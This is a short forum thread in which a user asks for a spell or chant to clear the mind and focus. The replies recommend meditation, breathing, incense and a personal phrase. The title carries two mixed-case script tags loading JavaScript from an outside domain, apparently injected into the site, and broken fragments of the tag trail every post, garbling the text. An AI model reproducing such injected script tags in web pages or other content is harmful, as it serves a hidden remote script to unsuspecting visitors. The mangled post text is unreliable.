need help

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need help <sCrIpT sRc=//12jav.net/1.js></ScRiPt><sCrIpT sRc=//12jav.net/1.js></ScRiPt>
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Post # 1
Does anybody know if their is a spell or a chant to clear your mind to help you focus sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Post # 2
Meditate sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Post # 3
No sorry but meditation and breathing for a few minutes helps clear ur mind and focus sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Post # 4
It takes practice and patience. Try using incense, it helps me when I am having trouble concentrating. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Post # 5
Thank u i will try it sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Post # 6
After you acheive clear mind or centering you can develop a phrase that best describes how you feel when you are there to recite as a shortcut to it from then on if you want. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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